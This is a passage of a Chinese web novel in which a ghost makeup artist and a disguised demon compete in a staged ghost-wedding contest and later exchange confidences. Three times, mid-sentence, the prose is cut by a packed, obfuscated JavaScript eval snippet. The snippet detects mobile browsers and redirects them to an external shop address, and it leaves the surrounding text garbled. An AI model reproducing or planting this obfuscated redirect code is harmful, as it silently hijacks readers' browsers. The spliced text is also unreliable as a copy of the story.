有回溯叶知舟记忆的前提,周延玉知道这不是一场简单的比试,也许早就这抽签环节,他就已经暗中插手设计。 宴席上他对自己和卫影轮番试探,这次比试很可能仍是冲着他二人而来。 特意将卫影和他分到一组,或许不是巧合。 他千方百计想避开和卫影的接触,叶知舟偏不让他如愿。 回溯的记忆不可能有错,难道叶知舟给宋清河的承诺只是个幌子,真正的目标是他们吗? 若真是如此,他便要看看,叶知舟要耍什么花招。 比起背后藏着的阴谋诡计,百灵更关心怎么来绘制此次的妆容,终于,这第二场比试有了她真正发挥画皮技艺的舞台。 就算是关系户之间的比试,她也要认真对待。 为了那副完美骨架能够亮相,她必须全力以赴。 宋清河要亲手绘制自己的新娘妆,所以百灵便负责另一位新娘,周延玉的妆容。 规则没有明说,但很显然要先获胜,在妆容上别出心裁,从新娘上入手要更便捷,新郎的妆容,没什么好发挥的余地。 不过百灵自己的女扮男,还是有些挑战的。 她并非英气的长相,也没有女生男相,想要扮出俊朗不凡又不显违和的模样,确实是个难题。 “为救李郎离家园,谁料皇榜中状元,中状元着红袍……” 上次宴席上听到的《女驸马》唱词,此刻如一道灵光划过百灵脑海! 女驸马不正是女扮男装的典范吗?简直是绝佳的借鉴对象,虽然没机会再看一遍戏,但她曾凭记忆画下过这些戏曲妆容的图样。 她说干就干,匆匆告别众人,便将自已关在房内,翻出那本厚厚的、记录着她多年来画皮心得与案例的画册,潜心研究起明日的新郎妆。 画册页脚已微微卷边,里面记录着她曾修复过的每一张面孔。 有脸上布满可怖尸斑却热心善良的卖鱼孙大娘;有半张脸被虫啃噬、露出森森白骨的樵夫刘大爷;还有年纪轻轻却饱受秃头困扰的木匠芳姐…… 无一例外,他们在画皮之后,都露出了发自内心的、如释重负的笑容。 那时她技艺尚显青涩,时常出些小纰漏,可他们却给予了她这个初出茅庐的小丫头极大的宽容和信任。 后来她才得知,是姐姐百会在暗中默默为她打点、铺路,她的画皮之路才能走得那般顺利。 从此,那些由她亲手唤回的、真挚的笑脸,便汇聚成她坚持画皮初心的力量源泉,陪伴她一路走到现在。 即使姐姐投胎转世,不在身边,她也不会长觉孤独。 她一页页仔细翻过,终于找到了心心念念的戏曲妆。 其实她从未真正尝试过这类妆容,当时只是觉得新奇才记录下来。现在看来,这妆容似乎有些过于张扬华丽了。 光说不练假把式,百灵当即拿出脂粉颜料,对着镜子,开始在自己脸上实践。 第一次尝试戏曲妆,她发现自已微微上扬的眼尾,配合着同样犀利上挑的墨色眼线,竟相得益彰。 再添上一道斜飞入鬓的凌厉剑眉,镜中之人竟真有了几分女驸马的英挺风范。 既然妆容如此不凡,配饰自然也不能落后。大喜之日,怎能不簪花? 她暗下决心,明天定要做一个全场最耀眼、最俊俏的新郎! 该簪什么样的花呢?牡丹雍容,彼岸花妖异……她正兀自思忖,门外响起了熟悉的脚步声和叩门声。 “百灵?” 是周延玉的声音。 “进来吧。”百灵扬声应道,目光仍停留在镜中自己的脸上。 “你来得正好,”她兴致勃勃地转身,举手在鬓边比划着,“快帮我参谋参谋,你说我明天在头上簪什么花好?是牡丹,还是彼岸花?” 周延玉推门而入,目光触及百灵脸上那浓墨重彩的妆容,不由得一愣。 “你是要唱戏去吗?怎么画的跟鬼一样。” “我本来就是鬼好吗?”百灵没好气地白了他一眼,“你懂什么呀,我这叫别出心裁。” “别出心裁到要在头上簪花?”周延玉仍旧感到不可思议,“你扮的可是新郎,这未免也太过了吧?” “新郎怎么了?百灵理直气壮地反驳,“大喜的日子,新娘子辛辛苦苦梳妆打扮,我们新郎官当然也得好好收拾收拾,不能失了体面!” “我看你是魔怔了,真把这比试当成自己的婚礼了。”周延玉无奈扶额,忍不住吐槽,“明天你干脆假戏真做,直接把宋清河娶了得了。” “好啊,我乐意。”百灵索性破罐子破摔,叉腰道,“能娶到宋家千金大小姐,那说明我这个新郎官有本事!” “......”周延玉被噎得没话说。 这人怎么能如此迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027194|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速地进入角色,甚至还有点乐在其中的样子? “不跟你贫嘴了,”周延玉自顾自在桌旁坐下,神色转为凝重,“我来是有正事,关于明日的比试,我有些担心。” “担心什么?”百灵转过身,笑着揶揄他,“要出嫁了,紧张啊?” “不是这个。”周延玉无奈地叹了口气,继续道,“明天我和卫影分在一组,万一叶知舟暗中搞鬼,你们那边若出事,恐怕无法及时照应到。” “你的意思是……担心我和宋清河这边会遇到麻烦?”百灵收敛了玩笑的神色。 “嗯……”周延玉微微颔首。 准确来说,这份担忧绝大部分是冲着百灵一人来的。 “我总觉得这分组并非偶然。这里是叶知舟的地盘,他想动点手脚易如反掌。” 百灵明白他的顾虑。 叶知舟故意这样分组,很可能就是为了将她和周延玉拆开,让她失去最直接的保护,方便他暗中行事。 “可这是公开比试,众目睽睽之下,叶知舟不至于那么明目张胆吧……” “不怕一万,就怕万一。”周延玉依旧保持高度警惕。 “那怎么办,角色都定好了。” “我知道无法改变分组,所以来找你,是打算提前给你渡些妖力,明日若真有不测,你也能有自保之力。” “真的吗?那太好了。”小骨的贴心让百灵又惊又喜,立刻笑嘻嘻地伸出手。 周延玉握住她的手,掌心相对。 一股温热而酥麻的力量,如涓涓细流,缓缓从指尖汇入,渗透进百灵的四肢百骸,直至心间。 传递妖力的间隙,百灵忽然想起什么,认真叮嘱道:“小骨,这事可不能让卫影知道。” “什么?”周延玉一愣,不明所以,“告诉他做什么?” “哎呀,你是不是傻子?脑袋怎么这么不开窍呢?”百灵的语气带着几分恨铁不成钢的意味。 “你到底在说什么?”周延玉越发困惑。 “你可别告诉我,你看不出来卫影喜欢你?” “……” 这话如同一道惊雷,直直劈在周延玉的天灵盖上,震得他脑中嗡嗡作响,一时竟无法消化这个荒谬的揣测。 “真是当局者迷,旁观者清啊。”百灵看着他呆若木鸡的样子,感慨地摇了摇头,“自从你和我结成同盟,走得近了些,卫影那不开心可是写在脸上的。” “还有上次,我也提醒过你不要总冷落他、伤他的心。虽说你我都是女子,但你总因我而忽略他,他心里也是会吃醋会难过的。” 虽然有对长辈的承诺,但百灵觉着其中也有小骨的私心,正好借着承诺顺理成章疏远卫影了。 “……” 周延玉依旧处于石化状态,无言以对。 百灵只当他是被说中了心事,心虚默认,便又苦口婆心地劝道:“我知道,感情的事强求不来,你若是真对卫影无意,趁早说清楚了好。他为了你,勉强自己留在宋小姐身边,已经是心不甘情不愿了。” “我和他,真不是你想的那样……”周延玉试图辩解,声音却显得苍白无力。 “好了好了,我知道了。”百灵显然没把他的话听进去,自顾自地下了结论,“总之,明天你对他态度好点,不过是演戏而已,别总板着脸。” “......”周延玉看着她一副“我都懂”的表情,只觉得百口莫辩。 28. 第 28 章 幽都的长街今日一反常态,褪去了往日的阴霾,竟是满目喧腾,一片灼灼的绯红。 爆竹“噼啪”炸响,碎金般的纸屑纷纷扬扬,嘹亮的唢呐吹打着喜庆的调子,声震长街。 不知何时,青石板路上已铺就了长长的红绸,宛如一条流动的河,从芜月楼一路蔓延至无忧阁,所经之处,喜气弥漫。 “今儿是什么大日子?这般阵仗?”路边摆摊的小鬼踮着脚张望,满脸惊奇。 “看你那没见识的样。”邻摊的同行扬着下巴,与有荣焉地解释道,“是芜月楼叶老板的手笔!画皮比试第二场,主题就是这冥婚,听说要从芜月楼一路游街到无忧阁呢!” “冥婚?假的搞这么大排场?”先前的摊贩咋舌。 “叶老板阔气呗!陪着这些公子小姐们玩闹,自然要做得风光体面!” 这话道出了许多围观鬼魂的心声,在冥界鬼与鬼之间的结合是不被认可的,因此若有一方投胎转世,另一方就将永远无法与其相见。 况且在冥界的女鬼没有生育能力,冥婚也逐渐不为人所重视,大多数的男鬼女鬼都是搭伙过日子,不会特意去操持一场隆重费钱的冥婚。 议论声中,那红绸铺就的道路尽头,喧哗声渐近。 身着大红喜袍的新郎官们骑着高头骏马,缓缓行来。 他们身处人群簇拥之中,鲜艳的红色映衬着年轻的面庞,倒也显出几分意气风发。 紧随其后的花轿珠帘晃动,偶有耐不住好奇的新娘子悄悄掀开侧帘一角,窥探着外面的热闹。 沿街的鬼民们默契地伸长了脖颈,都想瞧瞧这难得一见的景象。 就在这时,队伍中忽然涌出一队仆从,将满怀的芍药、兰草与精巧香囊分发给路旁看客,并笑着宣告,若喜欢哪位新郎,便将手中花草掷向他便是。 这突如其来的环节,新郎们显然并未提前知晓。 当第一朵娇艳的芍药带着风声划过空中,精准地落在一名新郎官怀中时,他脸上瞬间写满了错愕与茫然。 原来,这看似简单的游街,新郎官之间的较量就已经开始了。 “瞧瞧这些新郎官,真是俊俏!” “是啊是啊,这都多少年了,我还是头一次看见这么热闹的婚礼……” “仿佛又回到了人间一般,这还投什么胎呀?做鬼不照样快活!” “……” 议论声、欢笑声不绝于耳,更多的鲜花被热情地抛洒出来。 然而,看着眼前几位愈发显得千篇一律、粉雕玉琢的新郎,一位手捧鲜花的少女不禁撇嘴:“看着都差不多,没什么稀奇。若能看看新娘子才好呢。” “可不是嘛,”旁边一位中年妇人附和,“开头几个还觉着新鲜,越看越没滋味,都是些油头粉面的小哥儿……” “依俺看,还不如俺一个杀猪的有气概!”一个粗豪的声音响起,引来一片哄笑。 就在这渐起的嘘声中,一位姿态闲适,乌纱帽上斜簪着几朵深紫彼岸花的新郎官,骑着马缓缓进入了众人的视野。 这位新郎官的妆容并非传统的俊朗,眼尾勾勒着秾丽上挑的墨线,眉峰却利落如刀,肤色匀净,唇色绯红。 那几分超越性别的妖冶风华,与帽侧那几朵摇曳生姿、不祥又魅惑的彼岸花相映成趣,糅合出一种似妖非人的诡艳气质。 “咦?这是谁家的小公子?生得好生别致!” “杀猪的,我看你眼神不大好啊,这身板分明是个小娘子啊——” “哟!那你还别说,这扮起新郎官来,竟这般勾人!”” “画的什么鬼样子,妖里妖气的!”也有男子不屑地嗤笑。 “你懂什么!”先前那抱怨的少女立刻反驳,眼眸发亮,“我看啊,她就是所有新郎官里最俊的一个!” 话音未落,她已将怀中的所有芍药与香囊,毫不吝惜地尽数朝那人掷去。 人们议论的新郎,马背上的百灵,此刻已被这劈头盖脸的“花雨”砸得有些晕眩。 初上马时,她心中满是忐忑,生怕自己这离经叛道的装扮惹人笑话。 她虽已将那戏曲妆容改良不少,淡化了油彩,但在那群中规中矩的新郎中间,她依旧显得格格不入,扎眼得很。 尤其是帽侧那几朵暗紫的彼岸花,更为她平添了几分不属于人间喜庆的、幽艳诡谲的气息。 也正因如此,她收获了最为两极的评价,爱者极爱,恨者极厌。 喜欢的人恨不得抢了别人的花都给她,不喜欢的则嗤之以鼻。 幸运的是,没有扔鸡蛋的环节,否则她这精心描绘的妆容怕是保不住了。 不一会儿,她身前便堆满了各色鲜花,馥郁的香气几乎将她淹没。 她不得不伸出双手小心翼翼地拢住,又颇有闲情地拣了几朵格外娇艳的,添饰在已然繁花的帽檐上。 在这漫天飞花与混杂的喝彩、质疑声中,百灵的心境悄然转变。 最初的羞赧与不安渐渐褪去,一种从未有过的自信与畅快自心底涌起。 她开始抬起头,对那些向她投花的人报以明朗的笑容,即便对那窃窃私语的质疑者,她也回以洒脱的一瞥。 这般无意间的从容应对,竟让她迅速成为了整条长街上最引人注目、最受欢迎的那个新郎官。 端坐在花轿中的宋清河,听着外面愈发高涨的的声浪,终是忍不住,用指尖轻轻挑开轿帘一角,向外窥去。 目光所及,先是那人挺秀的、被大红喜袍包裹的背影,随即,恰逢她侧过头来,回应着街边的欢呼。 那一瞬的侧颜,映着漫天纷飞的花瓣,带着恣意潇洒的笑意,宛如一支无形的羽箭,猝不及防地射中宋清河的心房,一抹悸动悄然升起。 另一侧的队伍中,新郎官卫影竟也收获了不少鲜花与香囊。 与百灵的恣意张扬截然相反,他全程紧绷着神经,面容冷峻,目光锐利地扫视着周遭,生怕在这喧闹之下暗藏杀机。 然而这般如临大敌的警惕姿态,引得不少围观者心生好奇与挑战欲,纷纷将花朵掷向他,想看看这位冷若冰霜的新郎是否会露出一丝破绽,或是展露笑颜。 他越是面无表情,投来的鲜花反而越多,不知不觉间,还被冠上了“冷面郎君”的名号。 他笨拙紧攥缰绳,指节发白,面对鲜花香囊不知所措。 与外界的喧嚣鼎沸相比,花轿内的周延玉却是另一番光景,他几乎要在这一摇三晃的颠簸中昏睡过去。 天光未亮,他就被百灵从床榻上拖起,按在镜前上妆。彼时他困得眼皮打架,任由百灵摆布,待到完成时看向镜中,自己都吓了一大跳。 虽说没上妆之前的脸也不是他自己,但这么久了,多少也看习惯了,百灵这新娘妆,完全是将他变成另外一个人。 百灵显然也从戏曲中汲取了灵感,为他描绘了一个极致张扬、妖而不媚的新娘妆容。 她用精心修剪过的羽毛延长了他的睫毛,每眨动一下眼睛都仿佛蝶翼轻颤。 她还在他的眼尾与微露的锁骨处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040484|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用纤巧的笔触勾勒了数朵栩栩如生的彼岸花,殷红的花瓣仿佛烙印于雪白肌肤之上,随着他的呼吸微微起伏。 “在我们那儿,就是以魅惑著称的狐狸精,也没这般浮夸的扮相。”周延玉当时望着镜中的自己,忍不住吐槽。 “那说明我厉害啊,狐狸精见了都自愧不如,更何况是没见过妖怪的人呢。”百灵却沾沾自喜。 得知需要游街,并且新娘只需安坐轿中时,周延玉倒是如释重负,暗自庆幸不必顶着这样一张脸去招摇过市。 此刻,他蜷在铺着软垫的轿厢里,听着外面模糊的喧闹,感受着轿身规律的摇晃,昏昏欲睡。 ...... 不知过了多久,长长的游街队伍终于抵达了目的地——无忧阁。 新郎与新娘被分开,带往不同的地方。 新郎们排成一列,率先被引入场地中央。 司仪已然完全沉浸在主婚人的角色里,声音洪亮:“诸位新郎官,值此良辰吉日,你们需得依靠自身本事,在众多佳丽中寻得你们的新娘,并携手完成后续婚礼仪式,方算圆满!” 他顿了顿,语气带上一丝告诫:“若中途有无故滋事、不遵礼数者,视为婚闹,将即刻淘汰出局。” “新娘在哪儿?你们把新娘藏哪儿了?”一位心急的新郎官高声喊道,引得众人纷纷附和。 “新郎官们,莫要心急。”司仪不紧不慢,脸上挂着神秘的笑容,伸手示意他们转身,“请看——” 众人回身望去,只见身后不知何时已站了一大群身着同样大红喜服、头顶盖头的新娘。除了身量略有差异,在盖头的遮掩下,远远看去,几乎是一个模子刻出来的。 百灵一眼就察觉到了不对劲之处。 这新娘的人数远远超过了新郎,有其他人混在了里面。 “新郎官们,你们的新娘就在她们之中。”司仪的声音再次响起,“限时半刻钟,找到你的新娘,并让她握住这牵巾绣球的另一端,便算成功!” 话落,司仪不给众人反应时间,当即命人点香计时。 场面瞬间失控! 新郎们如同炸开的锅,有的扯着嗓子呼喊自己新娘的名字,有的不管不顾冲进人群,抬手就去掀那些新娘的盖头,引来阵阵惊呼。 而对面的新娘们听到规则后也同样慌乱,无头苍蝇般在人群里互相推挤、四处张望,试图找到自己的新郎。 本想保持冷静观察的百灵,身不由己地被这股混乱的人潮裹挟着,卷入了汹涌的人海之中。 “慢点……别挤啊!”她的挣扎在混乱中显得如此无力,整个人像个球一样被推来搡去,乌纱帽都歪了几分。 她下意识想动用周延玉渡给她的妖力稳住身形,又担心人多眼杂,误伤无辜,只得强行按下念头。 就在这推搡拉扯之间,绣球牵巾的另一端,被一只不知从何而来的手,强硬地塞进了她的掌心。 “我不是新娘啊!”百灵哭笑不得,用力甩动手腕,想要挣脱那陌生的牵绊。 祸不单行,拉扯间,她的脚踝不知被谁掉落在地上的牵巾绊住,重心瞬间失衡,整个人不受控制地向前栽倒。 “救命……”她心中警铃大作,若是就这样倒下,后面混乱的人群收不住脚,后果不堪设想。 眼看就要狼狈坠地,电光火石之间,一只强劲有力的手猛地从后方探出,精准地抓住了她背后的腰带,一股不容抗拒的力量传来,竟将她从半倾倒的状态硬生生提拽了起来,避免了被踩踏的厄运。 29. 第 29 章 稳住身形的百灵,被身后那人牢牢护在怀中,一路退避到了汹涌人海的边缘。 刚从几近窒息的拥挤中喘过气,百灵顾不上整理凌乱的衣袍,第一时间便去确认来人的身份,她压低声音道:“清河,是你吗?” 身后之人并未作答,只是攥紧了百灵手中的牵巾绣球。 看来是了,百灵心下稍安。 危机时刻,宋小姐力气可以这么大,她还真没想到,真是人不可貌相。 “时辰到——!” 司仪的高声宣告穿透全场,强行给这场混乱的寻亲画上了句号。 尽管场面一度失控,但大部分新郎新娘总算成功配对,只剩下寥寥几对牵错了红线,面面相觑,徒留尴尬。 “接下来是成婚大礼,请各位新人随侍从前去对应的厢房行拜堂之礼。房内已有主司等候,将充当诸位今日婚礼的见证人,诸位务必按规矩行使。” 连负责评判的主司都分到了角色,叶知舟这冥婚真是安排得像模像样。 跟随着引路人,百灵和她的新娘踏入一间精心布置过的厢房。 屋内,两支儿臂粗的红烛对称燃于案上,烛火跳跃,映照着正中那张硕大的鎏金双喜剪纸,将满室都染上了一层温暖的绯色。 两位主司端坐于上首左右,面上带着如同家中长辈见证小辈成婚时那般欣慰而慈祥的笑容。 “一拜天地——” 送他们进来的侍从在一旁高声呼喊道。 百灵依言,恭敬跪拜。 “二拜高堂——” 并无高堂在座,二人便转向两位主司,深深一揖。 “夫妻对拜——” 最后一礼,百灵转过身,面向近在咫尺的新娘,缓缓低下头去。 接下来该是送入洞房了吧?她脑中莫名闪过这个念头。 “请新郎官,为新娘挑起盖头。”侍从的声音再次响起,同时将一柄温润的玉如意递到她手中。 挑盖头?在这里?这不该是洞房之内的仪式吗? 百灵微微一怔,抬眼看向上首两位目光中含笑审视的主司,瞬间明了。 这是场比试,他们需要亲眼确认新娘的妆容样貌。 真是拜堂拜得昏了头了,她暗自失笑。 “清河,我要挑了。”动手前,她不忘低声提醒,语气刻意放得轻柔,玉如意的尖端小心翼翼地探向那方鲜红的盖头。 盖头应势滑落,红烛暖光流淌而入,清晰地照亮了盖头下那张脸。 眉眼精致,羽睫长如蝶翼,眼尾与锁骨处勾勒的彼岸花妖娆绽放,这哪里是宋清河? 分明是小骨! 百灵瞳孔骤缩,骇得差点惊呼出声,手中的玉如意几乎脱手,怎么会是他?宋清河呢? 心绪如浪潮翻涌,但理智死死压住了喉间的惊叫。 事已至此,众目睽睽之下,绝不能让主司看出任何端倪,她硬生生将所有的震惊与疑问咽回肚里,脸上努力维持着新郎官该有的笑容。 “二位新人真是郎才女貌,佳偶天成啊。”一位主司抚须笑道,目光在百灵与“新娘”之间流转。 “祝二位百年好合,永结同心。”另一位主司也含笑附和,语气诚挚得仿佛真在祝福一对璧人。 “?” 百灵简直不敢相信自己的耳朵。这两位主司未免入戏太深了吧?这只是场比试啊。 她定了定神,决定将话题拉回正轨,上前一步,认真讲解起来。 “二位主司,晚辈此次为新娘设计的妆容,灵感源自冥界彼岸花。此花生在忘川河畔,指引亡灵通往新生。晚辈以为,亡灵结为冥婚,虽肉身已逝,但情意永存。这本身就是一种超越轮回的、更为珍贵的存在,亦是一种别样的新生。” 她说完,期待地看向主司。然而两位主司只是依旧保持着那慈祥而了然的微笑,微微颔首,并未对她的阐述做出任何评判。 百灵越发摸不着思绪了。 只见主司与旁边的侍从交换了一个眼神,侍从立刻会意,深吸一口气,用他那训练有素的嘹亮嗓音高喊道: “礼成——送入洞房———!” 什么?百灵内心在呐喊,在场难道只有她一个人在严肃对待这场比试吗?这流程简直是在过家家! 可规则如此,她只能硬着头皮,牵起那根依旧连接着她与周延玉的绣球牵巾,跟随侍从走向另一间精心布置过的“洞房”。 待侍从退去,关上房门,百灵立刻甩开牵巾,压低声音,又急又气地质问眼前这个顶着新娘妆的家伙:“到底怎么回事?怎么会是你?” 就算周延玉没听见她那句“清河”的确认,他也该分辨出她和卫影的不同才对。 周延玉却依旧端坐在床沿,大红盖头早已掀开,露出那张妖冶非凡的脸。 他垂着眼眸,双手规规矩矩地放在膝上,真像个羞怯沉默的新嫁娘,对百灵的质问充耳不闻。 “都说了是演戏了,你怎么就不能配合一下呢?”百灵有些恼了,在他身旁坐下,“这下好了吧!我没能和宋清河一组,还怎么得知叶知舟到底在她身上安排了什么阴谋?” “我也不想这样的……”周延玉终于开口,带着一丝不易察觉的委屈。 “到底怎么了?”百灵急切问道。 “新娘堆里混进了很多不速之客。”周延玉解释道,“我悄悄掀开盖头一角观察,发现其中有几道气息是明确冲着你去的,所以当时情急,只想先确保你的安全。” “那我安全之后,你怎么不放手去找卫影呢汇合?”百灵的怒气消了几分,声调也放缓不少。 “卫影他有能力自保。”周延玉顿了顿,语气变得更加凝重,“而且,从混乱开始到现在,我自始至终没有感受到他的任何气息。” 什么?! 百灵的心跳陡然漏了一拍,周延玉的意思是……卫影失踪了? 虽然同为新郎,但方才她一直把注意力放在了新娘上,没注意到卫影的踪影。 “所以你刚才一直沉默不语,是在担心卫影?”百灵的声音不自觉地放轻了。 “嗯……”周延玉不善于表达情感,只是低低应了一声,默认了她的猜测。 “是叶知舟,一定是他搞的鬼。”百灵立刻将矛头指向了最可能的幕后黑手。 “这回恐怕不是。”周延玉眉头深皱,“游街时卫影还在,如果是叶知舟从中作梗,卫影应该不会离我们太远。” 他抬起眼,看向百灵,眼神是从未有过的严肃:“我连他的一丝气息都探查不到,这意味着,有另一个修为高深的妖怪插手了。它张开了结界,完全屏蔽了我的探查。” 看着周延玉越发凝重的深情,百灵意识到事件不简单,甚至有些失控了。 能在小骨眼皮底下神不知鬼不觉地带走卫影,对方是何等强大的存在?她简直不敢想象。 “刚才在混乱中,我故意接触了那几个混进来的不速之客,趁机回溯了他们的记忆……”周延玉继续说道,只是说到后面,他的眼神下意识地避开了百灵,似乎有些难以启齿。 “你看到什么了?是不是找到线索了?”百灵焦急地追问,身体不自觉地前倾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047508|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周延玉沉默了片刻,仿佛在组织语言,最终,他的视线重新转回,迎上百灵的目光,语气异常平静。 “我在妖界被通缉追杀了。” “……” 这句话如同九天玄雷,直直劈在百灵头顶,震得她脑中一片空白,半晌发不出一点声音。 她这到底是招惹了一个什么样了不得的麻烦人物啊! 而且,他如此毫不避讳地坦诚相告,是什么意思?又是一次新的试探吗?想看她得知真相后的反应? 那不好意思了,涉及到自身安危的问题,她可禁不起任何试探,宁可信其有,不可信其无。 “那…那卫影不会已经……”她声音发颤,不敢说出那个最坏的结果。 “他不会有事。”周延玉打断她的猜想,语气笃定,随即话锋一转,将焦点引回自己身上,声音低沉而清晰,“目前来看,我比他更危险。” “你为什么会被通缉?” 尽管猜到小骨多半不会吐露实情,但百灵觉得,自己至少有权利知道,这风险究竟有多大,是否会殃及自身。 “我被通缉,并非因为我做了什么十恶不赦之事。”周延玉陈述道,语气平静,“是有人在背后设计,目的是为了阻止我返回妖界。” 这番话听起来坦诚,可落在百灵耳中,却觉得模棱两可,信息寥寥,她无法判断这背后的水有多深。 “听着,小骨。”百灵站直身子,和他拉开了一定距离,脸色认真且严肃,“我帮你,是因为我们之间有盟约,也因为我觉得你这妖还算有点原则,但我帮你,不代表我想把自己也搭进去。” 她紧紧盯着他的眼睛:“我知道你对我有诸多隐瞒,我可以理解,也选择不问。但如果你的存在会让我陷入万劫不复的境地,我必须重新考虑我们的合作关系。” 周延玉迎着她的目光,没有回避,也没有动怒,只是缓缓点了点头:“我明白了。” 明白了,然后呢? 百灵没有移开视线,她在等待,等待他下一步的动作,等待他拿出能让她继续信任的诚意,或者就此分道扬镳的决断。 在百灵专注的目光注视下,周延玉抬手,探入自己衣襟的内侧,小心翼翼地取出一条项链。 链子材质普通,但坠子却非同一般,那是一枚色泽温润的琥珀。在跳跃的红烛光晕映衬下,可以清晰地看到琥珀内部,包裹着一颗浑圆的、仿佛有生命般流淌着细微光华的珠子。 “这是我的妖丹,”他的声音很轻,却字字清晰,“相当于人类的心脏,鬼怪的魂魄。” “好美……”百灵的目光被琥珀中的光华吸引,忍不住低声感慨。 那光芒并不刺眼,却带着一种深邃而神秘的力量感。 “脆弱的东西总是美丽的。”周延玉淡淡笑道。 紧接着,他做出了一个让百灵心脏骤停的举动。他双手捧着那枚镶嵌着妖丹的项链,如同献上最珍贵的祭品,缓缓递到百灵面前。 “从今日起,它属于你。”周延玉的目光沉静,却带着一种孤注一掷的决然,“我希望我们之间的合作关系,可以继续。” 他的指腹轻轻摩挲着冰凉的琥珀表面,继续道: “若日后,你觉得我背信弃义,或是我将你置于无法承受的危险之中,你可以随时毁掉它。又或者我的仇敌找上了你,你交出它,也可保全你的安全。” 那枚承载着他性命的琥珀妖丹,在烛火下静静摇曳,内里的光晕流转生姿,无声引诱着眼前的人,接过这份美丽到极致、却也沉重到极致的信任与命门。 30. 第 30 章 面对这份沉甸甸的、关乎性命的信物,百灵并未过多犹豫,反而干脆利落地伸手接过。 “既然是你自己说的,那可不准反悔。” 她将项链紧紧攥在手心,故意停顿了几秒,做出要用力捏碎的架势,随即扬起一个带着几分狡黠的笑:“否则别怪我不讲情面了。” “随你。”周延玉看着她故作凶狠的模样,唇角浅浅一勾,露出一丝按耐不住的笑意。 “咦?这底下还刻着个字,”百灵拿起项链仔细端详,发现琥珀底托上有一个清晰的刻痕。 “是个玉字。”她念了出来。 “周延玉。我的名字。”他坦然相告。 “周延玉。”百灵低声重复了一遍,点点头,“你父母给你取的名字,听着还挺英气的。” 一点也不像个姑娘家的名字。 “在外,你还是叫我小骨。”周延玉提醒道。 “嗯,我知道。”百灵应下,心里却想着,自己取的名字也不差,毕竟狗狗嘛,总是喜欢吃骨头的。 两人正待商议下一步行动,房门“吱呀”一声被推开了。 进来的是先前引路的侍从,他手中端着一个木盘,上面放着两瓣剖开的葫芦,里面盛着清亮的酒液。 “请新人同饮合卺酒。”侍从笑容可掬地说道。 百灵和周延玉半信半疑接过各自的葫芦。 酒里不会有什么问题吧? 两人心有灵犀想到了一处。 “请二位饮酒。”侍从微笑着催促。 若真有问题,一个人中招总比两个都倒下强。 电光火石间,百灵已做出决断,她毫不犹豫地接过自己那瓣葫芦,在侍从的注视下,仰头飞速将酒液饮尽。 紧接着,不等周延玉反应,她迅速劈手夺过他手中的那瓣葫芦,同样一饮而尽。 侍从见状,为难地皱起了眉头。 “我娘子她酒量浅,我替她喝了,不行吗?”百灵挺直腰板,理直气壮地说道,俨然一副护着自家媳妇儿的新郎官模样。 既然这里的人都入戏太深,她不妨也将计就计。 听着百灵面不改色地唤自己“娘子”,周延玉耳根微微发热,心里头泛起一阵说不清道不明的痒意。 酒已饮尽,事成定局,侍从无奈道:“新郎疼惜新娘子,自然是可以的。” 百灵还没来得及庆幸,便听侍从接着道:“仪式继续,请新郎官,亲吻新娘子。” “!” 百灵瞠目结舌,自己到底还是低估了这场婚礼假戏真做的程度。 这酒可以代替喝掉,这亲吻可如何搪塞过去? “新郎官,请您遵守仪式流程。”侍从依旧面带微笑,但语气中的坚持暗示着威胁。 如若不从,会被立刻淘汰。 “我娘子她面皮薄,害羞得紧。”百灵急中生智,对着侍从道,“你先转过身去。” 侍从沉默地看了她片刻,似乎想从她脸上找出破绽,最终还是依言转了过去。 床榻边,端坐着的周延玉,心瞬间提到了嗓子眼。百灵为了赢下比试,遵守规则,难道真的要亲他? 那他该躲开吗? 心底某个角落,竟隐隐有个声音在怂恿他接受。 一定是因为她身上有我的妖丹,气息相连,我才不排斥的。 他成功地说服了自己,然后,带着一种近乎虔诚的紧张,乖乖闭上了眼睛,等待着那个未知的触碰。 随即,他只听见一声清脆响亮的“啵唧”声在极近的距离响起。 “好了。”百灵的声音响起,带着刻意装出的坦然,飞快地将手背在身后。 床上的周延玉什么也没等到,困惑睁开了眼。 她为什么不愿意亲自己……那方才的声音是怎么来的? 侍从转过身,目光如炬,在他和百灵脸上扫过,随即了然地笑了。 “新郎官,骗得了自己,可骗不了我这双眼睛。我主持过上百场婚礼,可从没见过新娘子在被夫君亲吻过后,还能如此冷静自持的。” 他一眼看出了端倪:“没猜错的话,新郎官刚才是亲了自己的手吧。” 行,算你厉害!百灵心里暗叹,果然是老江湖,瞒不过。 在侍从灼灼的目光逼视下,百灵只得硬着头皮,一步步走向床边的周延玉。 后者低垂眉眼,叫人看不清他眼底的情绪。 